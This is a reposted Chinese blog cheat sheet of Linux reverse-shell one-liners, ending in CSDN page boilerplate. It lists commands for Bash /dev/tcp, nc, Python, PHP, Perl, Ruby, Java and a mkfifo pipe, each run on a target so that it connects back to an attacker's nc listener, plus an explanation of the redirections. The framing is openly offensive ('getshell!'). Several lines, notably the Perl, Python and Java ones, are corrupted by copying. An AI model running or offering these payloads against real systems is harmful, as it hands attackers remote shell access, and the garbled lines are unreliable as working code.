Linux反弹shell姿势总结(转载)

Linux反弹shell
Bash反弹shell
nc反弹shell
python反弹shell
php反弹shell
使用php的exec函数反弹shell
使用php的fsockopen远程连接
Perl反弹shell
Ruby反弹shell
Java反弹shell
其他反弹shell姿势

Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。
攻击机监听相应端口,目标机执行反弹shell,getshell!
Bash反弹shell
目标机:

bash -i >& /dev/tcp/ip/port 0>&1 //将shell反弹回相应的地址端口
1
本机使用nc进行监听:

nc -lvvp port //nc监听本机相应端口
1
在这里插入图片描述
在这里插入图片描述
搞懂原理
bash -i 打开一个交互式bash
/dev/tcp/ip/port 与指定地址端口建立TCP连接

“>&” 和 “0>&1” 是什么意思。这是Linux文件描述符和重定向。

标准输入(stdin):代码0,使用<或<<
标准输出(stdout):代码为1,使用>或>>
标准错误输出(stderr):代码为2,使用2>或>>
“>&”是将标准错误输出合并到标准输出中。
如执行 bash -i >& /dev/tcp/ip/port 它会将bash的标准输出和标准错误输出发送给指定地址端口,但本机不能进行输入。

“>&”最好的理解:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述时,表示将前面的文件描述符重定向至后面的文件描述符。
0>&1是将标准输入重定向到标准输出中,这样本机就可以接收用户的输入了。
当目标机有python环境时,用得到的shell使用python可以获得一个较为完整的交互式shell。

python -c ‘import pty;pty.spawn("/bin/bash")’
1
nc反弹shell
当目标机安装nc时,可以使用nc进行反弹shell。
本机使用nc监听端口

nc -lvvp 4444
1
目标机使用nc方向连接

nc -e /bin/bash ip port
1
如果nc不支持 -e参数,可以使用linux的管道符进行反弹

nc -lnvp 3333
nc -lnvp 4444
1
2
目标机中使用nc方向连接

nc ip 3333|/bin/bash|ip 4444
1
python反弹shell
使用python反弹shell

python -c “import os,socket,subprocess;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip"port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([”/bin/bash”,"-i"]);"
1
目标机python执行需要反弹的地址和端口
本机使用nc监听

nc -lvvp port
1
php反弹shell
使用php的exec函数反弹shell
php -r ‘exec("/bin/bash -i >& /dev/tcp/ip/port")’
1
使用php的fsockopen远程连接
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’
1
注:php反弹shell需要php关闭safe_mode选项,才能使用exec函数。

Perl反弹shell
perl -e ‘use Socket; i = " i p " ; i="ip"; i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
1
Ruby反弹shell
ruby -rsocket -e’f=TCPSocket.open(“ip”,port).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’
1
Java反弹shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()
1
其他反弹shell姿势
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port>/tmp/f
1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line>&5 2>&1;done
1
人生漫漫其修远兮,网安无止境。
一同前行,加油!

原文链接:https://blog.csdn.net/qq_45924653/article/details/107445417?utm_medium=distribute.pc_feed.none-task-blog-personrec_tag-5.nonecase&depth_1-utm_source=distribute.pc_feed.none-task-blog-personrec_tag-5.nonecase&request_id=5f209da0f769fa6e5f5d4567

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值